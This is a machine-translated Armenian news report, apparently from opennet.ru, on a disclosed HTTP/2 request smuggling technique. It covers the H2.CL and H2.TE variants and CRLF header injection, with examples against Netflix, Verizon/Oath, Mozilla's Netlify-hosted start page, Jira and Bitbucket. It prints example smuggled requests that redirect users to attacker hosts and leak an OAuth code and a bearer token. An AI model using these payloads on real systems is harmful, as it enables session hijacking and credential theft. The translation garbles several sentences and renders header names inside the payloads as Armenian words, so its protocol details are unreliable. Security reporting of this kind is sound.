Նոր հարձակում առջևի վերջնամասային համակարգերի վրա, որը թույլ է տալիս սեպ մտնել հարցումների մեջ

Վեբ համակարգերը, որոնցում առջևի վերջը ընդունում է կապերը HTTP/2-ի միջոցով և դրանք փոխանցում է backend-ին HTTP/1.1-ի միջոցով, ենթարկվել են «HTTP Request Smuggling» հարձակման նոր տարբերակին, որը թույլ է տալիս հատուկ մշակված հաճախորդների հարցումներ ուղարկելով. սեպ ներդնել այլ օգտվողների հարցումների բովանդակության մեջ, որոնք մշակվում են նույն հոսքով ճակատի և հետին մասի միջև: Հարձակումը կարող է օգտագործվել չարամիտ JavaScript կոդը օրինական վեբկայքով սեսիայի մեջ տեղադրելու, մուտքի սահմանափակման համակարգերը շրջանցելու և նույնականացման պարամետրերը կասեցնելու համար:

Խնդիրն ազդում է վեբ վստահված անձանց, բեռնվածության հավասարակշռիչների, վեբ արագացուցիչների, բովանդակության առաքման համակարգերի և այլ կոնֆիգուրացիաների վրա, որոնցում հարցումները վերահղվում են առջևից դեպի հետնամաս ձևով: Հետազոտության հեղինակը ցուցադրել է Netflix, Verizon, Bitbucket, Netlify CDN և Atlassian համակարգերի վրա հարձակվելու հնարավորությունը և ստացել է 56 հազար դոլար պարգևատրման ծրագրեր՝ խոցելիության հայտնաբերման համար։ Խնդիրը հաստատվել է նաև F5 Networks-ի արտադրանքներում: Խնդիրը մասամբ ազդում է mod_proxy-ի վրա Apache http սերվերում (CVE-2021-33193), 2.4.49 տարբերակում ակնկալվում է ուղղում (ծրագրավորողները խնդրի մասին տեղեկացվել են մայիսի սկզբին և 3 ամիս ժամանակ է տրվել այն շտկելու համար): Nginx-ում «Content-Length» և «Transfer-Encoding» վերնագրերը միաժամանակ նշելու հնարավորությունը արգելափակվել է վերջին թողարկումում (1.21.1): Հարձակման գործիքներն արդեն ներառված են Burp գործիքակազմում և հասանելի են Turbo Intruder ընդլայնման տեսքով:

Հարցումները տրաֆիկի մեջ մտցնելու նոր մեթոդի գործարկման սկզբունքը նման է երկու տարի առաջ նույն հետազոտողի կողմից հայտնաբերված խոցելիությանը, բայց սահմանափակվում է միայն HTTP/1.1-ի միջոցով հարցումներ ընդունող ճակատներով: Հիշենք, որ frontend-backend սխեմայում հաճախորդի հարցումները ստանում են լրացուցիչ հանգույց՝ frontend, որը երկարատև TCP կապ է հաստատում backend-ի հետ, որն ուղղակիորեն մշակում է հարցումները։ Այս ընդհանուր կապի միջոցով սովորաբար փոխանցվում են տարբեր օգտատերերի հարցումներ, որոնք հաջորդում են շղթային մեկը մյուսի հետևից՝ առանձնացված HTTP արձանագրության միջոցով։

Դասական «HTTP Request Smuggling» գրոհը հիմնված էր այն փաստի վրա, որ frontends և backends մեկնաբանում են HTTP վերնագրերի օգտագործումը «Content-Length» (որոշում է հարցումի տվյալների ընդհանուր չափը) և «Transfer-Encoding. chunked» (թույլ է տալիս) տվյալները, որոնք պետք է փոխանցվեն մասերով) այլ կերպ. . Օրինակ, եթե ճակատը աջակցում է միայն «Content-Length», բայց անտեսում է «Transfer-Encoding. չափը «Բովանդակություն-երկարություն» է, որը չի համապատասխանում կտրված շղթայի չափին: Այս դեպքում ճակատային մասը կմշակի և կվերահղորդի հարցումը «Բովանդակության երկարությունը» համաձայն, իսկ հետնամասը կսպասի արգելափակման ավարտին, որը հիմնված է «Փոխանցում-կոդավորումը. կտոր-կտոր» և հարձակվողի խնդրանքի մնացյալ հատվածը կսպասի: լինել ուրիշի խնդրանքի սկզբում՝ հաջորդը փոխանցված:

Ի տարբերություն HTTP/1.1 տեքստային արձանագրության, որը վերլուծվում է տողի մակարդակով, HTTP/2-ը երկուական արձանագրություն է և շահարկում է նախապես սահմանված չափի տվյալների բլոկները: Այնուամենայնիվ, HTTP/2-ն օգտագործում է կեղծ վերնագրեր, որոնք համապատասխանում են սովորական HTTP վերնագրերին: Հետին պլանի հետ HTTP/1.1 արձանագրության միջոցով փոխազդեցության դեպքում ֆրոնտենդը թարգմանում է այս կեղծ վերնագրերը նմանատիպ HTTP վերնագրերի՝ HTTP/1.1: Խնդիրն այն է, որ backend-ը որոշումներ է կայացնում հոսքի վերլուծության վերաբերյալ՝ հիմնվելով frontend-ի կողմից սահմանված HTTP վերնագրերի վրա՝ առանց նախնական հարցման պարամետրերի մասին տեղեկություններ ունենալու:

Մասնավորապես, «բովանդակության երկարություն» և «փոխանցման կոդավորում» արժեքները կարող են փոխանցվել կեղծ վերնագրերի տեսքով, չնայած այն հանգամանքին, որ դրանք չեն օգտագործվում HTTP/2-ում, քանի որ բոլոր տվյալների չափը որոշված ​​է: առանձին դաշտում։ Այնուամենայնիվ, HTTP/2 հարցումը HTTP/1.1-ի փոխարկելու գործընթացում այս վերնագրերը փոխադրվում են և կարող են շփոթել հետնամասը: Գոյություն ունեն հարձակման երկու հիմնական տարբերակ՝ H2.TE և H2.CL, որոնցում հետին մասը մոլորվում է սխալ փոխանցման կոդավորման կամ բովանդակության երկարության արժեքի պատճառով, որը չի համապատասխանում ճակատային մասի կողմից ստացված հարցման մարմնի իրական չափին: HTTP/2 արձանագրություն.

Նոր հարձակում առջևի վերջնամասային համակարգերի վրա, որը թույլ է տալիս սեպ մտնել հարցումների մեջ

H2.CL հարձակման օրինակ է բովանդակության երկարության կեղծ վերնագրի սխալ չափը նշելը, երբ Netflix-ին HTTP/2 հարցում ուղարկելը: Այս հարցումը հանգեցնում է համանման HTTP վերնագրի՝ Content-Length-ի ավելացմանը՝ HTTP/1.1-ի միջոցով backend մուտք գործելու ժամանակ, սակայն քանի որ Content-Length-ի չափը նշված է իրականից պակաս, պոչի տվյալների մի մասը մշակվում է որպես հաջորդ հարցման սկիզբը.

Օրինակ՝ խնդրեք HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Հոսթ՝ 02.rs?x.netflix.com Foo: bar

Կհանգեցնի նրան, որ հարցումը կուղարկվի հետին պլան՝ POST /n HTTP/1.1 Հոսթ՝ www.netflix.com Բովանդակության երկարությունը՝ 4 abcdGET /n HTTP/1.1 Հոսթ՝ 02.rs?x.netflix.com Foo՝ բար

Քանի որ Content-Length-ն ունի 4 արժեք, հետնամասը կընդունի միայն «abcd»-ը որպես հարցման հիմնական, իսկ «GET /n HTTP/1.1...»-ի մնացած մասը կմշակվի որպես հաջորդ հարցման սկիզբ: կապված մեկ այլ օգտվողի հետ: Ըստ այդմ՝ հոսքը կդառնա ապասինխրոնիզացված և ի պատասխան հաջորդ հարցման՝ կհրապարակվի կեղծ հարցման մշակման արդյունքը։ Netflix-ի դեպքում, կեղծ հարցման մեջ «Host:» վերնագրում երրորդ կողմի հոսթ նշելը հանգեցրեց նրան, որ հաճախորդը վերադարձրեց «Տեղակայություն՝ https://02.rs?x.netflix.com/n» պատասխանը և թույլ է տվել կամայական բովանդակություն ուղարկել հաճախորդին, այդ թվում՝ գործարկել ձեր JavaScript կոդը Netflix կայքի համատեքստում:

Երկրորդ հարձակման տարբերակը (H2.TE) ներառում է «Transfer-Encoding: chunked» վերնագրի փոխարինումը: Փոխանցման կոդավորման կեղծ վերնագրի օգտագործումը HTTP/2-ում արգելված է ճշգրտմամբ, և դրա հետ կապված հարցումները նախատեսված են որպես սխալ համարվել: Չնայած դրան, որոշ frontend իրականացումներ հաշվի չեն առնում այս պահանջը և թույլ են տալիս օգտագործել կեղծ վերնագրի փոխանցում-կոդավորում HTTP/2-ում, որը վերածվում է նմանատիպ HTTP վերնագրի։ Եթե ​​առկա է «Փոխանցում-կոդավորում» վերնագիրը, ապա ֆոնդը կարող է այն ընդունել որպես ավելի առաջնահերթություն և «{size}\r\n{block» ձևաչափով տարբեր չափերի բլոկների միջոցով կտոր առ մաս վերլուծել տվյալները: }\r\n{size} \r\n{block}\r\n0», չնայած նախնական բաժանմանը ըստ ընդհանուր չափի:

Նման բացվածքի առկայությունը ցույց տվեց Verizon-ի օրինակը։ Խնդիրը վերաբերում էր նույնականացման պորտալին և բովանդակության կառավարման համակարգին, որն օգտագործվում է նաև այնպիսի կայքերում, ինչպիսիք են Huffington Post-ը և Engadget-ը: Օրինակ՝ հաճախորդի հարցումը HTTP/2-ի միջոցով՝ :method POST :path /identitfy/XUI :authority id.b2b.oath.com փոխանցման կոդավորումը կտրված է 0 GET /oops HTTP/1.1 Հոսթ՝ psres.net Բովանդակության երկարություն՝ 10 x=

Արդյունքը եղավ HTTP/1.1 հարցումն ուղարկելով հետնամասին՝ POST /ինքնություն/XUI HTTP/1.1 Հոսթ՝ id.b2b.oath.com Բովանդակություն-Տևողություն՝ 66 Փոխանցում-կոդավորում՝ կտրված 0 GET /oops HTTP/1.1 Հոսթ՝ psres: զուտ բովանդակություն - երկարություն՝ 10x=

Հետին մասը, իր հերթին, անտեսեց «Բովանդակության երկարություն» վերնագիրը և կատարեց հոսքային բաժանում «Transfer-Encoding. chunked» հիման վրա։ Գործնականում հարձակումը հնարավորություն է տվել օգտատերերի հարցումները վերահղել դեպի իրենց կայք, ներառյալ OAuth վավերացման հետ կապված հարցումները, որոնց պարամետրերը ցուցադրվել են Referer վերնագրում, ինչպես նաև նույնականացման սեսիայի մոդելավորում և օգտատիրոջ համակարգի հավատարմագրեր ուղարկելու գործարկում: հարձակվողի տանտիրոջը. GET /b2blanding/show/oops HTTP/1.1 Հաղորդավար՝ psres.net Ուղարկող՝ https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Հաղորդավար՝ psres.net Թույլտվություն՝ կրող eyJhcGwiOiJIUzI1GCI1Is

HTTP/2 իրականացումները հարձակվելու համար, որոնք թույլ չեն տալիս նշել փոխանցման կոդավորման կեղծ վերնագիրը, առաջարկվել է մեկ այլ մեթոդ, որը ներառում է «Փոխանցում-կոդավորում» վերնագրի փոխարինումը՝ այն կցելով նոր տողով առանձնացված այլ կեղծ վերնագրերին ( երբ փոխարկվում է HTTP/1.1-ի, այս դեպքում ստեղծում է երկու առանձին HTTP վերնագիր):

Օրինակ, Atlassian Jira-ն և Netlify CDN-ը (օգտագործվում է Firefox-ում Mozilla-ի մեկնարկային էջը սպասարկելու համար) տուժել են այս խնդրից: Մասնավորապես, HTTP/2 հարցումը :method POST :path / :authority start.mozilla.org foo b\r\n փոխանցման կոդավորումը. կտրված է 0\r\n \r\n GET / HTTP/1.1\r\n Հոսթ : evil-netlify-domain\r\n Բովանդակության երկարությունը՝ 5\r\n \r\n x=

հանգեցրեց նրան, որ HTTP/1.1 POST / HTTP/1.1 հարցումն ուղարկվեց հետնամասին\r\n Հյուրընկալող սարք՝ start.mozilla.org\r\n Foo՝ b\r\n Փոխանցման կոդավորումը՝ chunked\r\n Բովանդակության երկարությունը 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Հոսթ՝ evil-netlify-domain\r\n Բովանդակության երկարությունը՝ 5\r\n \r \n x=

«Փոխանցում-կոդավորում» վերնագրի փոխարինման մեկ այլ տարբերակ էր այն կցել մեկ այլ կեղծ վերնագրի անվանը կամ հարցման մեթոդով տողին: Օրինակ, Atlassian Jira-ին մուտք գործելու ժամանակ կեղծ վերնագրի «foo: bar\r\ntransfer-encoding» անունը «chunked» արժեքով հանգեցրեց HTTP «foo: bar» և «transfer-encoding: chunked» վերնագրերի ավելացմանը: , և նշելով կեղծ վերնագրի «:method» արժեքը «GET / HTTP/1.1\r\nՓոխանցման կոդավորումը. chunked» թարգմանվել է «GET / HTTP/1.1\r\nփոխանցման կոդավորում՝ chunked»:

Խնդիրը բացահայտած հետազոտողը նաև առաջարկել է հարցումների թունելավորման տեխնիկա՝ ճակատների վրա հարձակվելու համար, որտեղ յուրաքանչյուր IP հասցե առանձին կապ է հաստատում հետնամասի հետ, և տարբեր օգտվողների տրաֆիկը չի խառնվում: Առաջարկվող տեխնիկան թույլ չի տալիս միջամտել այլ օգտատերերի հարցումներին, սակայն հնարավորություն է տալիս թունավորել ընդհանուր քեշը, որն ազդում է այլ հարցումների մշակման վրա և թույլ է տալիս փոխարինել ներքին HTTP վերնագրերը, որոնք օգտագործվում են ծառայության տեղեկատվությունը ճակատից դեպի հետնամաս փոխանցելու համար ( Օրինակ՝ ճակատային մասում նույնականացում կատարելիս Նման վերնագրերը կարող են ընթացիկ օգտատիրոջ մասին տեղեկատվությունը փոխանցել հետնամասին): Որպես մեթոդի գործնական կիրառման օրինակ՝ օգտագործելով քեշի թունավորումը, հնարավոր եղավ վերահսկողություն հաստատել Bitbucket ծառայության էջերի վրա։

Source: opennet.ru

Добавить комментарий